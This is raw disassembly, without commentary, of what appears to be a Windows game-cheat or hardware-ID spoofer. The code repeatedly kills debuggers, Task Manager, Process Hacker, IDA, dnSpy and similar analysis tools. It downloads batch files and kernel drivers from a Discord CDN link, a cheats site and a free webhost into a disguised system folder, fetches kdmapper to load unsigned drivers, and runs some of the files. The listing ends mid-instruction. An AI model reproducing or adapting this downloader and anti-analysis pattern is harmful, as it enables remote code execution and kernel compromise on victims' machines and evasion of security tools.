lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado2NDMACCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, [rsp + 0xcc70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcc90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xccb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xccd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xccf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcd10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcd30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcd50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcd70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xea30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe990]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe9b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa330]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xea70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe9d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe9f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xea10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa370]
call fcn.14005d8e0
cmp dword [0x140406d74], 8
jne 0x1400a0ac6
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xb3b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xb390]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xb390]
call fcn.14005d8d0
mov qword [rsp + 0x13c0], rax
lea rcx, [rsp + 0xb3b0]
call fcn.14005d8d0
mov qword [rsp + 0x13c8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x13c0]
mov rdx, qword [rsp + 0x13c8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_GUIDCHANGER.bat
lea rcx, [rsp + 0xb370]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
lea rcx, [rsp + 0xb350]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xb350]
call fcn.14005d8d0
mov qword [rsp + 0x13d0], rax
lea rcx, [rsp + 0xb370]
call fcn.14005d8d0
mov qword [rsp + 0x13d8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x13d0]
mov rdx, qword [rsp + 0x13d8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__sandiest_buttons.000webhostapp.com_Spoofyyerrrerst.sys
lea rcx, [rsp + 0xb330]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
lea rcx, [rsp + 0xb310]
call fcn.14005d9d0
nop
lea rdx, str.https:__sandiest_buttons.000webhostapp.com_diskDRIVE.sys
lea rcx, [rsp + 0xb2f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
lea rcx, [rsp + 0xb2d0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_kdmapper.exe
lea rcx, [rsp + 0xb2b0]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xb290]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_DriverMapper.bat
lea rcx, [rsp + 0xb270]
call fcn.14005d9d0
nop
lea rdx, [0x140392bb0]
lea rcx, [rsp + 0xb250]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xb310]
call fcn.14005d8d0
mov qword [rsp + 0x13e0], rax
lea rcx, [rsp + 0xb330]
call fcn.14005d8d0
mov qword [rsp + 0x13e8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x13e0]
mov rdx, qword [rsp + 0x13e8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xb2d0]
call fcn.14005d8d0
mov qword [rsp + 0x13f0], rax
lea rcx, [rsp + 0xb2f0]
call fcn.14005d8d0
mov qword [rsp + 0x13f8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x13f0]
mov rdx, qword [rsp + 0x13f8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xb290]
call fcn.14005d8d0
mov qword [rsp + 0x1400], rax
lea rcx, [rsp + 0xb2b0]
call fcn.14005d8d0
mov qword [rsp + 0x1408], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1400]
mov rdx, qword [rsp + 0x1408]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xb250]
call fcn.14005d8d0
mov qword [rsp + 0x1410], rax
lea rcx, [rsp + 0xb270]
call fcn.14005d8d0
mov qword [rsp + 0x1418], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1410]
mov rdx, qword [rsp + 0x1418]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
